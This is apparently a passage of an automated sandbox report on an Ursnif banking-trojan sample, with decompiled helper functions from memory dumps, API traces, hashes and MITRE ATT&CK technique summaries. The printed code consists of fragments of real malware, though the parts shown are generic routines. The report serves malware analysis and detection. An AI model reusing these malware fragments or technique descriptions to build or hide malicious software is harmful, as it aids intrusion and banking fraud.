HeapFree.KERNEL32(00000000,00000000,?,02D723DE), ref: 02D77624
RtlLeaveCriticalSection.NTDLL(05129570), ref: 02D77640

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 8fc40ad8c674ff4823f087fee97b9551addd4107138b439473de31f6a00997ed
Instruction ID: 5a3bba7ffbe613e97aadb4e52d055a7ca423cc60071cdf49247e97bbf7bc7b59
Opcode Fuzzy Hash: 8fc40ad8c674ff4823f087fee97b9551addd4107138b439473de31f6a00997ed
Instruction Fuzzy Hash: E7F03470A80280DFE7208B68D848F0AB7E9EF14340B108C06F846D6344F738EC28CA29

Uniqueness

Uniqueness Score: -1.00%

Function 02D7970F, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D7970F() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x2d7d26c; // 0x2e4
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x2d7d2b8; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x2d7d26c; // 0x2e4
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x2d7d238; // 0x4d30000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x02d7970f
0x02d79716
0x02d79760
0x02d79762
0x02d79762
0x02d7971a
0x02d79720
0x02d79725
0x02d79729
0x02d7972f
0x02d79736
0x00000000
0x00000000
0x02d79738
0x02d7973d
0x00000000
0x00000000
0x00000000
0x02d7973d
0x02d7973f
0x02d79747
0x02d7974a
0x02d7974a
0x02d79750
0x02d79757
0x02d7975a
0x02d7975a
0x00000000

APIs

SetEvent.KERNEL32(000002E4,00000001,02D78099), ref: 02D7971A
SleepEx.KERNEL32(00000064,00000001), ref: 02D79729
CloseHandle.KERNEL32(000002E4), ref: 02D7974A
HeapDestroy.KERNEL32(04D30000), ref: 02D7975A

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 6b5263087c6299eb62d1c670c2d81bbee3a775cfc3c1ce7d0cf4832d672b6ef2
Instruction ID: 2e1898ff85c148f8e9319004997f3517a77f7ff000371f8b2961bffc51e55335
Opcode Fuzzy Hash: 6b5263087c6299eb62d1c670c2d81bbee3a775cfc3c1ce7d0cf4832d672b6ef2
Instruction Fuzzy Hash: 1AF03036F953105FD7206E75A998B8637A9AF10765B244E10B804D7384FB3CDC58D6A0

Uniqueness

Uniqueness Score: -1.00%

Function 02D7A5D6, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E02D7A5D6() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x2d7d32c; // 0x51295b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x2d7d32c; // 0x51295b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x2d7d32c; // 0x51295b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x2d7e836) {
					HeapFree( *0x2d7d238, 0, _t10);
					_t7 =  *0x2d7d32c; // 0x51295b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x02d7a5d6
0x02d7a5df
0x02d7a5ef
0x02d7a5ef
0x02d7a5f4
0x02d7a5f9
0x00000000
0x00000000
0x02d7a5e9
0x02d7a5e9
0x02d7a5fb
0x02d7a600
0x02d7a604
0x02d7a617
0x02d7a61d
0x02d7a61d
0x02d7a626
0x02d7a628
0x02d7a62c
0x02d7a632

APIs

RtlEnterCriticalSection.NTDLL(05129570), ref: 02D7A5DF
Sleep.KERNEL32(0000000A,?,02D723DE), ref: 02D7A5E9
HeapFree.KERNEL32(00000000,?,?,02D723DE), ref: 02D7A617
RtlLeaveCriticalSection.NTDLL(05129570), ref: 02D7A62C

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: cf6b984f16de0b93f1a0d804eac3fd50ece8769e156bd6b364472ccb4e023a7b
Instruction ID: 0bddd8a1004f7271b6dcf823713b721d3ab43b90feb197f41bdb95cc70bf02ce
Opcode Fuzzy Hash: cf6b984f16de0b93f1a0d804eac3fd50ece8769e156bd6b364472ccb4e023a7b
Instruction Fuzzy Hash: 8EF0D474E802409FE718CB24D859F1977E6EF08301B54880AE846DB394F73CEC28CE24

Uniqueness

Uniqueness Score: -1.00%

Function 02D77F27, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E02D77F27(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E02D72049(_t2);
				if(_t34 != 0) {
					_t30 = E02D72049(_t28);
					if(_t30 == 0) {
						E02D79039(_t34);
					} else {
						_t39 = _a4;
						_t22 = E02D7A911(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E02D7A911(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x02d77f27
0x02d77f31
0x02d77f33
0x02d77f39
0x02d77f39
0x02d77f42
0x02d77f46
0x02d77f52
0x02d77f56
0x02d77fca
0x02d77f58
0x02d77f58
0x02d77f5c
0x02d77f63
0x02d77f66
0x02d77f80
0x02d77f6f
0x02d77f6f
0x02d77f73
0x02d77f76
0x02d77f7b
0x02d77f7b
0x02d77f85
0x02d77fad
0x02d77fb3
0x02d77fb6
0x02d77f87
0x02d77f89
0x02d77f91
0x02d77f9c
0x02d77fa1
0x02d77fa1
0x02d77fbd
0x02d77fc4
0x02d77fc5
0x02d77fc5
0x02d77f56
0x02d77fd5

APIs

lstrlen.KERNEL32(00000000,00000008,?,74B04D40,?,?,02D715A4,?,?,?,?,00000102,02D711DA,?,?,00000000), ref: 02D77F33

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

Part of subcall function 02D7A911: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,02D77F61,00000000,00000001,00000001,?,?,02D715A4,?,?,?,?,00000102), ref: 02D7A91F
Part of subcall function 02D7A911: StrChrA.SHLWAPI(?,0000003F,?,?,02D715A4,?,?,?,?,00000102,02D711DA,?,?,00000000,00000000), ref: 02D7A929

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,02D715A4,?,?,?,?,00000102,02D711DA,?), ref: 02D77F91
lstrcpy.KERNEL32(00000000,00000000), ref: 02D77FA1
lstrcpy.KERNEL32(00000000,00000000), ref: 02D77FAD

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 7142fe7696c9a187fa89309c1fcbd3b141e9ab69b1a5726b4f77e28787a6c0b2
Instruction ID: 09e5d819171c18cf7f96c93f6da58985a85790a6b1a6730b18ccbe3cb4949c3d
Opcode Fuzzy Hash: 7142fe7696c9a187fa89309c1fcbd3b141e9ab69b1a5726b4f77e28787a6c0b2
Instruction Fuzzy Hash: AB219A32804215EBDB129FA5D944AAEFFAAEF46284F158456F9049B301F739CE00CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 02D77CB8, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D77CB8(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E02D72049(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x02d77ccd
0x02d77cd1
0x02d77cdb
0x02d77ce2
0x02d77ce5
0x02d77ce7
0x02d77cef
0x02d77cf4
0x02d77d02
0x02d77d07
0x02d77d11

APIs

lstrlenW.KERNEL32(004F0053,74B05520,?,00000008,0512937C,?,02D7747C,004F0053,0512937C,?,?,?,?,?,?,02D76814), ref: 02D77CC8
lstrlenW.KERNEL32(02D7747C,?,02D7747C,004F0053,0512937C,?,?,?,?,?,?,02D76814), ref: 02D77CCF

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

memcpy.NTDLL(00000000,004F0053,74B069A0,?,?,02D7747C,004F0053,0512937C,?,?,?,?,?,?,02D76814), ref: 02D77CEF
memcpy.NTDLL(74B069A0,02D7747C,00000002,00000000,004F0053,74B069A0,?,?,02D7747C,004F0053,0512937C), ref: 02D77D02

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 01f9ba54b7b4fba9fe005539a2316cc6593cdb00799f197a12c885d5aad3b713
Instruction ID: 5a8b6f1fbc49f189a91c56c5fab7b98a02c1a71b03e1cdd0d87b7d1ad5e151a1
Opcode Fuzzy Hash: 01f9ba54b7b4fba9fe005539a2316cc6593cdb00799f197a12c885d5aad3b713
Instruction Fuzzy Hash: 2CF03772900118FBCB11EFA8CC85CDE7BADEF09354B514062AD08D7211F635EE14CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D73CC8, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(05129910,00000000,00000000,7742C740,02D7A453,00000000), ref: 02D73CD8
lstrlen.KERNEL32(?), ref: 02D73CE0

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

lstrcpy.KERNEL32(00000000,05129910), ref: 02D73CF4
lstrcat.KERNEL32(00000000,?), ref: 02D73CFF

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: b8e6d6e5a57adfb261e5f7c54cffc7d4434d74ad2e4851789170b419fc4b4448
Instruction ID: aa27ed89bc55134ca35e3001001ee63dc9cd4d8e0ed31ad94a3130dee762c257
Opcode Fuzzy Hash: b8e6d6e5a57adfb261e5f7c54cffc7d4434d74ad2e4851789170b419fc4b4448
Instruction Fuzzy Hash: 01E09273901220AB87119FE5AC4CC6FBBADEF89711714481BFA00D3310E7288C19CBE1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 0204_1.gif.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

CPU Usage

Function 02F912D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Function 02F9269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Function 02F983B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Function 10001EB5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 10001D9F, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Function 02F98B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Function 02F9ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Function 02F96786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Function 02F91B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Function 02F9924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Function 02F96A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Function 02F9225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Function 02F91A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Function 02F994A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Function 02F973FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON